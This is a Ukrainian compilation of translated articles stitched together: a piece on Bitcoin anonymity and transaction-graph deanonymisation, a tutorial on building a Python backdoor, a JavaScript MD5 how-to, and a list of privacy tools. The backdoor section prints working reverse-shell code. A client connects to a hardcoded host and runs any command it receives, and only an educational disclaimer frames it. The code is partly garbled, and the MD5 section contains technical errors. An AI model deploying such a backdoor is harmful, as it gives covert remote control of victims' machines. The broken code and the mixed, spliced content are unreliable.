Анонімність чи конфіденційність

По-перше, корисно провести принципову різницю між анонімністю і конфіденційністю у контексті фінансових транзакцій. Ми будемо називати транзакцію "анонімною", якщо ніхто не знає, хто ви є. Ми будемо називати транзакцію " конфіденційною", якщо невідомо, що ви придбали і на яку суму.

Давайте намалюємо просту схему і розташуємо в ній різні види фінансових операцій:

Готівка або бартер є найбільш конфіденційними та анонімними способом здійснення транзакцій.

На протилежному кінці спектру знаходяться транзакції, що не є анонімними чи конфіденційними. До них відносяться операції з картками: хоч вони і не є загальнодоступними, ваша особистість пов'язана з кожною покупкою, яку ви робите, і ця інформація доступна продавцю, банку тощо.

Деякі фінансові операції є конфіденційними, але не анонімними; наприклад, на дошці пожертв у місцевому художньому музеї вказані імена людей, які пожертвували кошти, але не суми пожертв.

З іншого боку, біткойн є анонімним, але не конфіденційним: особисті дані ніяк не фіксуються в самому протоколі біткойна, але кожна транзакція, здійснена за допомогою біткойна, є загальнодоступною.

Анонімність, яку забезпечує Bitcoin, є одночасно і привабливим фактором, і викликом для фінансового регулювання. У міру того, як темпи поширення цієї валюти зростають і вона потрапляє під пильну увагу правової та фінансової систем, особливо щодо відповідності чинним законам про боротьбу з відмиванням грошей (AML) та контролю "знай свого клієнта" (KYC), справжній рівень її анонімності стане предметом все більш пильного вивчення.

Для багатьох користувачів Bitcoin, які отримують доступ до валюти за допомогою популярних онлайн-гаманців або обмінників, їхня діяльність з самого початку пов'язана з ідентифікацією їхньої особи за допомогою їхніх Bitcoin-аккаунтів. Bitcoin для таких користувачів фактично не більш анонімний, ніж банківський рахунок, хоча ця втрата анонімності відбувається в момент внесення валюти і не є характерною для самого протоколу біткоїна.

Для тих, хто хоче скористатися перевагами анонімності, що притаманна Bitcoin, необхідно знайти альтернативну точку входу, наприклад, отримати біткоїни в приватній транзакції, як компенсацію за надані товари чи послуги або як винагороду за майнінг. Подальші транзакції з біткоїнами можуть бути анонімними, оскільки реальні персональні дані не записуються в блокчейн-реєстрі: єдиною ідентифікаційною інформацією, яка там зберігається, є біткоїн-адреси, приватні ключі до яких належать власникам як підтвердження власності.

Однак збереження анонімності з цього моменту жодним чином не гарантується: навіть якщо припустити, що вам вдасться придбати bitcoin, не надаючи особисту інформацію, ваша реальна особистість все одно може бути розкрита в процесі транзакцій з біткоїнами в мережі. Розглянемо, як це може статися.

У широкому сенсі, методи деанонімізації переслідують один з двох взаємодоповнюючих методів, пов'язаних з публічним характером реєстру транзакцій і можливістю розкриття IP-адрес комп'ютерів, з яких здійснюються транзакції.

Анонімність та реєстр транзакцій

Не існує обмеження на кількість адрес, які може мати власник Bitcoin. Усі Bitcoin можна зберігати на одній адресі, а можна розподілити їх на десятки або навіть тисячі адрес. Тим часом, найкраща практика рекомендує ( але не вимагає), щоб кожна адреса використовувалася лише один раз: будь-яка сума, що залишилася після транзакції, не повинна зберігатися на старій адресі, а має бути переведена на нову адресу. Ця велика кількість адрес умисно робить неможливим визначити, які адреси контролює одна людина в певний момент часу, і ускладнює відстеження руху коштів, що контролюються цією особою, у часі.

Проте можна використати ідеальну прозорість реєстру транзакцій, щоб виявити схеми витрачання коштів у блокчейні, які дозволяють об'єднувати Bitcoin-адреси за користувачем. Ця сфера - це аналіз графів транзакцій.

Аналіз графів транзакцій

Аналіз графів транзакцій застосовує кілька хитрощів і певні здогадки, щоб пов'язати приблизно 57 мільйонів транзакцій, що відбуваються між 62 мільйонами адрес, з певною групою унікальних власників біткоїнів. Після чого можна відобразити транзакційні зв'язки між цими власниками біткоїнів.

Один з основних методів аналізу графів транзакцій включає транзакції з більш ніж однією вхідною адресою. За визначенням, ці вхідні дані контролюються однією і тією ж особою - і якщо будь-яка з цих адрес з'являється десь в іншому місці блокчейну, то пов'язані з нею транзакції також можуть бути пов'язані з цією ж особою.

Другий метод використовує згадану вище "належну практику": якщо саме одна з вихідних адрес транзакції ніколи раніше не з'являлася в блокчейні, то можна з великою долею ймовірності стверджувати, що нова адреса є адресою зміни.

Третій метод перевіряє числову точність сум, що беруть участь у транзакції, з метою ідентифікації одержувача та суми переказу. Наприклад, якщо транзакція має дві адреси відправника, що відповідають двом новим біткоїн-адресам, де перше число, скажімо, 3 BTC, а друге - 2.12791 BTC, дуже ймовірно, що перше число відповідає сумі переказу, а друге - одержувачу. Яка ймовірність того, що сума переказу буде настільки точною? Таким чином, ви можете пов'язати адресу відправника переказу з адресою зміни з високим рівнем достовірності. Подібний аналіз можна провести після конвертації в основні валюти, такі як долар США, щоб виявити "цілі числа", які можуть бути приховані в транзакціях, деномінованих в біткоїнах, і які допомагають відрізнити відправника від одержувача.

Деанонімізації адрес за допомогою цих методів можна запобігти, відправляючи bitcoin через так звані мікшери, які беруть набір bitcoin і повертають інший набір тієї ж вартості (за вирахуванням комісії за обробку) з різними адресами та історіями транзакцій, таким чином, ефективно "відмиваючи" монети. Але ці послуги супроводжуються серйозними нюансами. Користувачі повинні передати контроль над своїми біткоїнами і довіряти сервісу, що він їх поверне. Аналіз графіка транзакцій може виявити використання сервісу змішування і позначити користувача як потенційно підозрілого. Міксери погано працюють з дуже великими сумами, якщо тільки інші користувачі з такими ж великими сумами не змішують свої біткоїни в той самий час. Деякі сервіси міксування працюють не так, як заявлено, і їх можна піддавати реінжинірингу. Сервіси, які працюють легально, повинні зберігати докладні записи про те, як змішувалися монети, які пізніше можуть бути взломані або затребувані в суді. А отримані нові біткоїни можуть бути заплямовані незаконною діяльністю.

Розподіл графа транзакцій

Сам аналіз графів транзакцій в блокчейні дає лише відбиток ідентифікації окремих адрес, не розкриваючи реальних особистостей. Для отримання інформації про реальні особи потрібно звернутися до додаткових джерел, які не знаходяться в блокчейні.

Існує значна кількість публічної інформації, яка пов'язує біткоїн-адреси з конкретними особами. Бізнеси, що приймають біткоїни, можуть розміщувати QR-коди біля кас або на своєму веб-сайті. Деякі сервіси, наприклад blockchain.info/tags, ідентифікують власників тисяч адрес. Також можна знайти тисячі адрес на публічних форумах, коли люди включають свої біткоїн-адреси у підписи до повідомлень. Ці часткові знання про особистості можна поєднати з графом транзакцій для деанонімізації певної частини реєстру транзакцій.

Один з потенційних результатів такої деанонімізації - це прив'язка до місцезнаходження у минулому. Наприклад, якщо кафе приймає біткоїни та використовує фіксовану адресу для своїх транзакцій, то якщо ви, як відвідувач, використовуєте свої біткоїн-адреси, пов'язані з вашою особою, хтось може відстежувати ваше прибуття до кафе та частково з'ясувати ваше місцезнаходження за записами у блокчейні.

І навпаки, уявіть, що хтось захотів прив'язати вашу особу до вашої біткоїн-адреси, і ви випадково згадали, що того дня відвідували те саме кафе на обід. Хтось може знайти адресу цього кафе, знайти всю історію транзакцій за цією адресою протягом обідньої перерви і відфільтрувати результати за ціною, щоб виключити транзакції, які стосуються лише гарячих напоїв. Можливо, трохи більше інформації про те, що ви їли на обід, і погляд на меню кафе, і шанси на успішний збіг будуть високими.

Ідеальне знання книги транзакцій також означає, що будь-яка додаткова інформація, виявлена пізніше, може бути використана пізніше, дозволяючи в будь-який момент скласти подальші фрагменти пазлу ідентифікації особи на своє місце. Одне розкриття інформації про особу, навіть через багато років, і кожна транзакція за цією адресою та пов'язаними з нею буде поставлена під загрозу.

Анонімність IP-адреси

Додаткове джерело можливої деанонімізації інформації доступне для будь-якого комп'ютера, який приєднується до децентралізованої мережі транзакцій шляхом встановлення вузла Bitcoin. Це джерело інформації представлене набором IP-адрес комп'ютерів, які повідомляють про нові транзакції Bitcoin.

На момент написання цієї статті існувало приблизно 6500 вузлів, які приймали вхідні з'єднання від інших вузлів, і, можливо, вдесятеро більше вузлів, які не приймали зовнішніх підключень. Перші типи вузлів в середньому підтримують з'єднання з кількома десятками однорангових вузлів, тоді як другі типи вузлів зазвичай мають лише вісім однорангових вузлів. Обидва типи вузлів генерують транзакції. Поширення транзакцій через мережу вузлів починається з комп'ютера, який спочатку повідомляє про транзакцію своїм одноранговим вузлам, які в свою чергу розсилають повідомлення своїм одноранговим вузлам у каскадному інформаційному потоці, який, як правило, охоплює всі вузли мережі протягом декількох секунд.

Просте спостереження, яке можна використати, полягає в тому, що за умови, що можна знайти спосіб підключитися до більшості вузлів, можливо, шляхом контролювання скоординованої підмережі вузлів, розподілених на багатьох пристроях, перший вузол, що починає розсилку транзакції, в середньому може бути і

ніціатором цієї транзакції. Ризик зростає, якщо кілька транзакцій відправляються з однієї IP-адреси. Хоча у протоколі розповсюдження транзакцій передбачена невелика випадкова затримка, що сприяє збереженню анонімності початкового відправника, з використанням відповідних методів можна виділити достатньо сигналу серед шуму, щоб позитивно ідентифікувати в багатьох випадках. Використання TOR-маршрутизатора може забезпечити певний рівень захисту від виявлення IP-адреси, але водночас це може відкрити користувача до інших потенційних атак.

Один приклад такого роду деанонімізації IP-адрес, доступних у відкритому доступі, це веб-сайт blockchain.info, який розкриває IP-адресу першого вузла, що повідомляє про транзакцію своїм серверам. Надійність цієї інформації залежить від надійності з'єднання вузлів з веб-сайтом. На момент написання статті заявлялося про 800-900 підключених вузлів, що, ймовірно, недостатньо для надійного визначення IP-адреси відправника у всіх випадках.

І так...

Наскільки анонімним є біткойн сьогодні? Звичайні користувачі повинні знати, що біткойн, безумовно, менш захищений, ніж готівка. Тим часом, користувачі, які готові піти на неймовірні зусилля, можуть знайти способи придбати і використовувати біткоїн анонімно, але відкритий характер реєстру транзакцій та інші невідомі фактори залишають відкритою можливість того, що особи і дії, які колись вважалися абсолютно безпечними, можуть бути розкриті в певний момент часу.

А як щодо майбутнього? У міру того, як поширення біткоїна продовжує зростати, не виключено, що між анонімайзерами і деанонімайзерами може виникнути гонка технологічних озброєнь: з одного боку, будуть розроблятися все більш складні схеми видобутку даних, можливо, поєднуючи аналіз графів транзакцій з виявленням IP-адрес, щоб відстежувати рух коштів в блокчейні між окремими особами і через кордони. З іншого боку, будуть розроблені вдосконалені методи для кращого приховування індивідуальної ідентичності та діяльності.

Тут є багато факторів, що залишаються невідомими. Чи буде змінено основний код біткоїна для подальшого захисту анонімності або для полегшення регулювання? Чи стануть сервіси міксування біткоїнів повсюдними і безпечними? Чи досягне аналіз графів транзакцій такого рівня досконалості, що більшість дій користувачів можна буде легко відстежити? Чи з'явиться альтернативна цифрова валюта або додатковий блокчейн, який змістить баланс на сторону анонімності або проти неї? Все, що ми можемо сказати з упевненістю, це те, що біткойн все ще перебуває в зародковому стані, а існуюче мислення та інструменти в області анонімності все ще примітивні. Ми бачили лише початкові ходи; кінцева партія ще не зіграна.

Читати більше

• “Evaluating User Privacy in Bitcoin” Androulaki, Karame, Roeschlin, Scherer & Capkun. 2013.
• “An Analysis of Anonymity in the Bitcoin System” Reid & Harrigan. May 7, 2012.
• “Deanonymisation of clients in Bitcoin P2P network” Biryukov, Khovratovich & Pustogarov. July 5, 2014.
• “A Fistful of Bitcoins: Characterizing Payments Among Men with No Names” Meiklejohn et al. 2013.
• “An Inquiry into Money Laundering Tools in the Bitcoin Ecosystem” Möser, Böhme & Breuker. 2013.
• “Structure and Anonymity of the Bitcoin Transaction Graph” Ober, Katzenbeisser & Hamacher. May 7, 2013.
• “Quantitative Analysis of the Full Bitcoin Transaction Graph” Ron & Shamir. 2013.
• “Bitcoin does not provide anonymity” Bar-El. April 3, 2014.
• “Anonymity” Bitcoin Simplified.
• “Protect your privacy” Bitcoin.org
• “KYC, AML and Bitcoin” CEO.io

Це переклад статті 2015 року. Дані можуть бути не актуальними пізніше зроблю переклад статті більш нової, переклад від @dev_nuncvc1v0

• Бекдор на Python
• Створення бекдора на Python

Бекдор - це інструмент, який дає змогу хакеру віддалено підключитися до цільової машини. У цій статті буде показано, як створити простий бекдор на Pyhton

Бекдор на Python

Основна мета бекдора - надсилати і виконувати команди та отримати віддалений доступ до файлів на цільовій системі.

В інформаційній безпеці існує два основних типи корисного навантаження:

• Оболонка (Шелл)
• Зворотна оболонка (Реверс шелл)

Оболонки створюють сервер безпосередньо на цільовій машині, до якого може підключитися хакер.

Зворотні оболонки складаються з двох частин: клієнта і сервера. Клієнтський модуль запускається на цільовій машині і самостійно підключається до комп'ютера хакера.

Стаття написана в освітніх цілях, для навчання етичних хакерів. Під час демонстрації роботи були використані особисті пристрої автора. Використання подібних інструментів без належного письмового дозволу, є незаконним і буде розцінюватися, як кримінальний злочин. Автор не несуть відповідальності за ваші дії.

Оскільки напрямок вихідного з'єднання був "зворотним" (наприклад, від жертви до зловмисника), оболонка отримала назву зворотної оболонки або бекдор. Далі ми напишемо бекдор на Python. Для розуміння, цільовий комп'ютер називатиметься жертвою, а машина хакера - атакуючим.

Створення бекдора на Python

По-перше, ми маємо створити сервер, на якому працюватимемо. Сервер складатиметься з чотирьох частин:

1. Отримання нашого локального IP і зазначеного порту.
2. Прив'язка IP-адреси та порту для створення сокета.
3. Запуск слухача.
4. Надсилання та отримання команд у нескінченному циклі.

# Імпорт
import socket

# Отримуємо наш локальний IP і вказаний
portHOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222

new_port = input('Input Host Port (Blank if default).')
if (new_port != "\n"):
    REMOTE_PORT = new_port
    
# Прив'язка IP до порту
# Створення сокета
server = socket.socket()
server.bind((HOST, PORT))

# Запуск Слухача
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)client,
client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

# Надсилання та отримання команд у нескінченному циклі
while True:
    command = input('Enter Command : ')
    command = command.encode()
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode()
    print(f"Output: {output}")

Потім ми підключимося до атакуючого на основі жорстко запрограмованої IP-адреси та порту, оскільки він не може отримати їх динамічно.

Оскільки ми запускаємо цю зворотну оболонку на локальній машині, сокет буде виглядати так:

REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()

Далі ми повинні отримувати команди і використовувати бібліотечний підпроцес для відкриття терміналу і паралельного запуску команд. Ось як це буде виглядати:

command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Повний код сервера має такий вигляд:

# Imports
from ctypes.wintypes import INT
import socket
import subprocess

# Setting Up IP/Sockets
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()

# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
# Runtime Loop
while True: 
    print("[-] Awaiting commands...")
    command = client.recv(1024)
    command = command.decode()
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    print("[-] Sending response...")
    client.send(output + output_error)

Ось приклад зворотної оболонки в дії:

Запуск спочатку сервера, а потім клієнта дасть змогу використовувати сервер для надсилання та отримання даних. Повний код див. на GitHub.

Матеріал взято з сайту

• Використання MD5 з JavaScript
• Як згенерувати хеш MD5 за допомогою JavaScript
• Встановлення на стороні клієнта
• Установка на стороне сервера
• Заключення

Використання MD5 з JavaScript

JavaScript - це мова програмування, яка використовується для розробки веб-сайтів і часто використовується з HTML і CSS. JavaScript зазвичай використовується для додавання на сайт динамічного елемента, оскільки він може використовувати змінні та більш просунуті функції, ніж HTML і CSS.

JavaScript розміщується в самому коді або в зовнішньому файлі. Для додавання коду JavaScript на сторінку можна використовувати теги:

<script></script>

Які рекомендується, але не обов'язково, поміщати всередині контейнера:

<head>

Має такий вигляд:

<script>
document.getElementById("mydiv").innerHTML = "JavaScript!";
</script”>

MD5 - це криптографічний алгоритм, який використовується для зберігання паролів у базі даних.

Приклад:

foobar ⇒ 3858f62230ac3c915f300c664312c63f

Використання MD5 для зберігання паролів уже небезпечно, але він, як і раніше, використовується для інших додатків, і тому він може знадобитися вам у вашому коді JavaScript.

Найкращий спосіб прикрутити генерацію хеша MD5 у JavaScript - використовувати blueimp-md5. Бібліотека blueimp-md5 сумісна з більшістю проєктів. Ви можете використовувати її з серверними середовищами, такими як Node.js, завантажувачами модулів, такими як RequireJS, або безпосередньо з браузерами.

Як згенерувати хеш MD5 за допомогою JavaScript

Найпростіший спосіб для невеликого проєкту - завантажити файл blueimp-md5 з репозиторію GitHub, але для встановлення бібліотеки на сервер також можна використовувати NodeJS. Розглянемо обидва способи.

Встановлення на стороні клієнта

Для невеликого проєкту, можете просто додати мінімізовану версію бібліотеки у свій проєкт:

Відкрийте офіційний репозитирій проєкту і в папці "js", знайдіть файл md5.min.js.

Завантажте його на свій комп'ютер і збережіть у своєму проєкті.

Ви також можете відобразити RAW-версію файлу і скопіювати та вставити код у свій проект.

Після цього можна імпортувати і використовувати md5.min.js у своєму HTML, додавши:

<script src="js/md5.min.js"></script>

Для прикладу, я створив невеликий проект. HTML-код і вміст папки мають такий вигляд:

Як бачите, після імпорту бібліотеки користуватися нею досить просто.

Просто використовуйте функцію md5(), як щось нативне:

var hash = md5("value")

Ось HTML-код:

<html>
<head>
    <title>Tests InfosecScout</title>
</head>
<body>
    <script src="md5.min.js"></script>
    <script>
        var hash = md5("value")
        alert(hash)
    </script>
</body>
</html>

Тепер, під час відкриття HTML-сторінки у своєму браузері, ви побачите спливаюче вікно зі значенням MD5:

Установка на стороне сервера

Если вы используете NodeJS, вы, вероятно, уже знаете, как это сделать, но вот краткий обзор основных шагов:

Чтобы использовать серверную библиотеку MD5 для NodeJS, сначала установите blueimp-md5:

npm install blueimp-md5

Затем создайте файл server.js со следующим содержимым:

require('http')
    .createServer(function (req, res) {
        // Модуль md5 експортує функцію md5():
        var md5 = require('./md5'),
            // Використовуйте наступну версію, якщо ви встановили пакунок за допомогою npm:
            // var md5 = require("blueimp-md5"),
            url = require('url'),
            query = url.parse(req.url).query
        res.writeHead(200, {
            'Content-Type': 'text/plain'
        }) 
        // Обчислити і вивести MD5 хеш запиту url:
        res.end(md5(query))
    })
    .listen(8080, 'localhost')
console.log('Server running at http://localhost:8080/')

Запустіть додаток за допомогою:

node server.js

Проведіть швидкий тест, ввівши в браузері адресу:

http://localhost:8080

Ви повинні побачити виведення MD5.

Значення хеша MD5 змінюватиметься щоразу під час оновлення сторінки. Тому відкриття наступної сторінки призведе до створення ще одного хешу MD5.

Думаю, ви зрозуміли.

Заключення

Тепер ви знаєте, як генерувати хеші MD5 у JavaScript. Сподіваюся, стаття була корисною.

Це переклад статті з сайту

• Це не професійний переклад і якщо ви знайшли помилку, то напишіть у телеграм @dev_nuncvc1v0
• 2FA
• Аналітика
• Android App Store
• Альтернативні клієнти Google Play Store
• Програма для набору номера для Android
• Файловий менеджер для Android
• Клавіатура для Android
• Лаунчер для Android
• Штучний інтелект
• ChatGPT
• Copilot
• Midjourney
• Bookmarking
• Керування книгами
• Captchas
• Системи коментування
• Маскування
• Зображення
• Текст
• Хмарне сховище
• Бази даних
• Інструменти для розробників
• IDEs
• Додатки для знайомств
• Реєстратор доменів
• Менеджер завантажень
• Шифрування
• Шифрування ОС
• Керування файлами та спільний доступ до них
• Фітнес та здоров'я
• Шрифти
• Заміна шрифтів Google
• Foundries
• Форми
• Домашні асистенти
• Обмін повідомленнями
• Децентралізовані
• Централізовані
• P2P
• Посилання в Bio
• Скорочення посилань
• Відстеження місцезнаходження
• Відстеження
• Знайти свій пристрій
• Поштові сервіси
• Належить третій особі
• Самостійне розміщення
• Клієнти
• Android / iOS
• Desktop
• Послуги псевдонімів електронної пошти (анонімна переадресація)
• Карти та навігація
• Платформи для стрімінгу
• Відео та аудіо
• Audio
• Подкасти
• Notes and Tasks
• Розпізнавання музики
• Office
• Тимчасові номери телефонів
• Без перевірки електронної пошти, приймаємо monero
• Потрібна перевірка електронної пошти, приймаємо monero
• Потрібна перевірка електронної пошти, приймаємо криптовалюту
• Операційні системи
• Android
• На базі Linux
• Smart TV
• PC / MacOS
• GNU/Linux
• Інші ОС:
• Менеджери паролів
• Пастбіни та обмін секретами
• Платежі
• Особисті фінанси
• FIAT
• CRYPTO
• Редагування та керування фотографіями
• Web
• Desktop
• Android
• Зберігання фотографій
• Самостійне розміщення
• Належить третій стороні
• Локальний
• Інструменти конфіденційності
• Desktop
• Android
• Віддалений доступ і керування
• Пошукові системи
• Соціальні мережі та платформи
• Платформи для ведення блогів (Medium)
• Instagram
• LBRY та Odysee
• Quora
• YouTube
• TikTok
• Twitter
• Самостійний хостинг
• Децентралізований
• Альтернативні фронтенди
• Reddit
• Платформи для стрімінгу (Twitch)
• Wikipedia
• Imgur
• Інструменти для командної роботи
• Мова у текст
• Текст у мову
• Переклад
• Без категорії
• Утиліти
• Відео- та аудіоконференції
• Редагування відео
• VPNs
• Веб-браузер
• Android / iOS
• Desktop
• Розширення для браузерів
• Анти-відстеження
• Корисні інструменти
• Синхронізація браузера
• Веб-перегляд

Це не професійний переклад і якщо ви знайшли помилку, то напишіть у телеграм @dev_nuncvc1v0

2FA

Не використовуйте програми, які не дозволяють легко експортувати ключі.

• Authy
• Google Authenticator

Замість цього використовуйте:

• Aegis - Безкоштовний, безпечний додаток для Android з відкритим кодом для управління вашими токенами двоетапної верифікації. Підтримує різноманітний імпорт з інших додатків (Google Authenticator, Authy тощо), шифрування сховища та експорт ключів (відкритих або зашифрованих).
• Ente Auth - Безкоштовний, крос-платформний, наскрізний зашифрований додаток з відкритим кодом для управління вашими токенами з 2-етапною перевіркою. Від розробників ente Photos, і використовує ту ж саму перевірену в боях інфраструктуру. Потрібен акаунт на ente.io.
• Owky - Безкоштовний двофакторний автентифікатор з відкритим кодом для користувачів IOS.
• FreeOTPPlus - Покращений варіант FreeOTP-Android з багатофункціональним 2FA автентифікатором
• RaivoOTP - Нативне, легке та безпечне рішення з одноразовим паролем (OTP) для користувачів iOS.
• Authenticator Pro - Клієнт двофакторної автентифікації (2FA) для Android + Wear OS.

Аналітика

Уникайте будь-яких аналітичних сервісів від Google, Facebook, Microsoft або будь-яких приватних сервісів. Така аналітика порушує конфіденційність користувачів.

Замість цього використовуйте:

• Matomo - Альтернатива Google Analytics, яка захищає ваші дані та конфіденційність ваших клієнтів.
• Plausible - Проста та безпечна для приватності альтернатива Google Analytics.
• Umami - Проста, швидка альтернатива Google Analytics для аналізу веб-сайтів.
• Nullitics - Недорога аналітика з відкритим кодом, що не вимагає жодних зусиль.
• Ackee - Аналітика веб-сайтів на власному хостингу.
• Shynet - Сучасна, безпечна для приватності та детальна веб-аналітика, яка працює без файлів cookie та JS.
• Pirsch - це проста, безпечна для приватності альтернатива Google Analytics з відкритим кодом - легка, без файлів cookie і легко інтегрована в будь-який веб-сайт або бекенд.
• Swetrix - Орієнтований на конфіденційність, повністю без cookie, з відкритим кодом (і самодостатнім хостингом) сервіс веб-аналітики.
• Cabin - Веб-аналітика - перш за все, приватність.

Android App Store

Уникайте:

• Google Play Store

Замість цього використовуйте:

• F-Droid - це інстальований каталог програм з вільним та відкритим кодом (FOSS - Free and Open Source Software) для платформи Android.
• Droid-ify - Легкий клієнт F-Droid з інтерфейсом Material UI.
• Aurora Droid - Aurora Droid - сучасний FOSS-клієнт для F-Droid.
• Foxy Droid - Неофіційний клієнт F-Droid в стилі класичного.
• FossDroid - Мета - популяризація безкоштовних додатків з відкритим кодом на платформі Android: найновіших, наймодніших і найпопулярніших.
• SkyDroid - Децентралізований магазин додатків для Android
• Obtainium - Отримуйте оновлення додатків безпосередньо від джерела.

Альтернативні клієнти Google Play Store

• Aurora Store - це альтернативний інтерфейсний клієнт Google Play Store з відкритим кодом, що відрізняється конфіденційністю та сучасним дизайном.

Програма для набору номера для Android

Уникайте:

Сторонні програми для набору номера, знайдені в магазині Play. Вони можуть містити рекламу/трекери та запитувати непотрібні дозволи.

Замість цього використовуйте:

• Simple Dialer - Легка програма для керування дзвінками, де б ви не були. Поставляється зі зручним журналом викликів для легкого ініціювання дзвінків.
• Koler - Унікально стилізований додаток для телефону з функціями, що налаштовуються.

Файловий менеджер для Android

Уникайте:

Попередньо встановлені файлові менеджери та сторонні програми для керування файлами, знайдені в магазині Play. Можуть містити рекламу/трекери та запитувати непотрібні дозволи.

Замість цього використовуйте:

• Simple File Manager - Простий файловий менеджер для перегляду та редагування файлів і папок.
• Amaze File Manager - Простий і привабливий файловий менеджер Material Design для Android.
• Material Files - Файловий менеджер Material Design з відкритим кодом для Android 5.0+.
• Ghost Commander - Двухпанельний файловий менеджер.

Клавіатура для Android

Уникайте:

• GBoard (Google)
• SwiftKey

Замість цього використовуйте:

• OpenBoard - 100% FOSS клавіатура, на основі AOSP.
• FlorisBoard - це безкоштовна клавіатура з відкритим кодом для пристроїв на Android 6.0+. Вона прагне бути сучасною, зручною та налаштовуваною, при цьому повністю поважаючи вашу конфіденційність. Наразі знаходиться в стані ранньої бета-версії.
• AnySoftKeyboard - Єдина клавіатура для Android, яка вам коли-небудь знадобиться. Вільна, як слово, вільна, як пиво.
• Simple Keyboard - Просто клавіатура і нічого більше.

Лаунчер для Android

Уникайте:

Сторонні лаунчери, знайдені в ігровому магазині. Вони можуть містити рекламу/трекери та запитувати непотрібні дозволи.

Замість цього використовуйте:

• OpenLauncher - Налаштовуваний лаунчер з відкритим кодом для Android.
• KISS - Блискавично швидкий, з відкритим кодом, менше 200kb Android лаунчер.
• Posidon Launcher - Це мінімальний, односторінковий домашній екран з вертикальною прокруткою стрічки.
• Pie Launcher - Засіб запуску домашнього екрану Android, який використовує динамічне кругове меню замість фіксованого розташування іконок.
• Simple App Launcher - Простий тримач для улюблених програм для швидкого та зручного керування піктограмами лаунчерів.
• Rootless Pixel Launcher - Клон Launcher3, відомий як "Rootless Pixel Launcher".
• Bliss Launcher - Програма запуску за замовчуванням в ОС на базі Android. Дозволяє користувачам легко створювати та переглядати групи програм, а також відображає значки сповіщень на іконках програм.

Штучний інтелект

При використанні хмарних сервісів штучного інтелекту дані, які ви вводите, часто збираються і зберігаються постачальником послуг. Вони можуть включати не тільки зміст ваших запитів, але й метадані, такі як часові мітки або IP-адреси. Сторонні сервери можуть надавати доступ до ваших даних своїм співробітникам, партнерам або навіть іншим користувачам, залежно від їхньої політики конфіденційності. Дані можуть використовуватися в різних цілях, включаючи навчання моделей, дослідження або навіть маркетингову діяльність. Ваші запити до стороннього сервісу штучного інтелекту можуть бути прив'язані до вашої інформації про користувача та платіжних реквізитів, що пов'язує ваші дані з вашою особистістю.

ChatGPT

• llama.cpp - Реалізація моделі LLaMA Facebook на чистому C/C++, щоб її можна було запускати локально на центральному процесорі.
• LocalAI - Самостійно розміщений, керований спільнотою простий локальний OpenAI-сумісний API, написаний на go. Може бути використаний як заміна OpenAI, що працює на CPU з апаратним забезпеченням споживчого класу.

Copilot

• Turbopilot - це відкрита система завершення коду на основі великих мовних моделей, яка працює локально на центральному процесорі.

Midjourney

• Stable Diffusion - Генерація зображень з високою роздільною здатністю за допомогою моделей прихованої дифузії.
• Stable Diffusion Web UI - Браузерний інтерфейс для Stable Diffusion.

Bookmarking

Уникайте:

• Pocket (Formerly Read It Later) - Погана політика конфіденційності. Додатки мають трекери та вимагають багато дозволів.
• Evernote Web Clipper - Погана політика конфіденційності. Додатки мають багато трекерів та вимагають занадто багато дозволів.

Замість цього використовуйте:

• Wallabag - Сервер з відкритим кодом, за бажанням самостійно хоститься, читайте пізніше. Надає платні послуги хостингу з урахуванням конфіденційності.
• Shiori
• LinkAce
• LinkDing

Керування книгами

• Hypothesis - Анотуйте веб-сторінки, з будь-чим і будь-де.
• Kobuddy - Отримуйте закладки та анотації вашого пристрою для читання електронних книг Kobo у файлі .txt.

Captchas

Уникайте:

Captcha Google використовує файли cookie для відстеження користувачів та визначення їхніх IP-адрес.

• Google reCAPTCHA

Замість цього використовуйте:

• hCaptcha - Перша конфіденційність CAPTCHA для Інтернету, мобільних пристроїв тощо.
• OOPSpam - Не потребує персональних даних для виявлення. Підтримує популярні платформи, такі як WordPress.

Системи коментування

Уникайте:

• Disqus - Багато трекерів є на їх сайтах. Disqus збирає (відповідно до своєї Політики конфіденційності) IP-адресу, унікальний ідентифікатор Cookie, ідентифікатор пристрою, ваші дані для входу, тип і версію браузера, налаштування часового поясу і місцезнаходження, типи і версії плагінів браузера, операційну систему і платформу та інші технології на пристроях, які ви використовуєте для доступу до Сервісу.

Замість цього використовуйте:

• Isso - Легкий, самодостатній сервер коментування, написаний на Python і JavaScript. Він має на меті стати швидкою заміною Disqus.
• Commento - це швидка, орієнтована на конфіденційність платформа для коментування. Можна розміщувати на власному хостингу або використовувати їх SaaS.
• Remark42 - Легкий і простий (але функціональний) движок для коментування, який не шпигує за користувачами.

Маскування

Зображення

• Fawkes - Інструмент захисту приватності від систем розпізнавання облич.
• CloakMe - Веб-інтерфейс для алгоритму Fawkes.
• ImageScrubber - Зручний браузерний інструмент для анонімізації фотографій, зроблених під час протестів (версія для хостингу надана everestpipkin).

Текст

• Stegcloak - Безпечно приховувати секрети з невидимими символами у відкритому тексті за допомогою паролів(repo).

Хмарне сховище

Уникайте:

• Google Drive - Google є власником, тому політика конфіденційності дуже погана. Дані зберігаються на їхніх віддалених серверах, де ви втрачаєте контроль над ними. Вони використовують трекери. Шифрування відсутнє.
• DropBox - Погана політика конфіденційності. Додаток має різні трекери та вимагає багато дозволів.
• OneDrive - Microsoft належить, політика конфіденційності дуже погана. Дані зберігаються на їхніх віддалених серверах, де ви втрачаєте контроль над ними. Вони використовують трекери. Немає шифрування.

Замість цього використовуйте:

• Nextcloud - Платформа для підвищення продуктивності з відкритим кодом, яка дозволяє тримати все під контролем.
• Seafile - Високопродуктивна синхронізація та обмін файлами. Він включає в себе Wiki, WYSIWYG("What You See Is What You Get" - Що бачиш, те й отримуєш.)-редагування та інші функції управління знаннями.
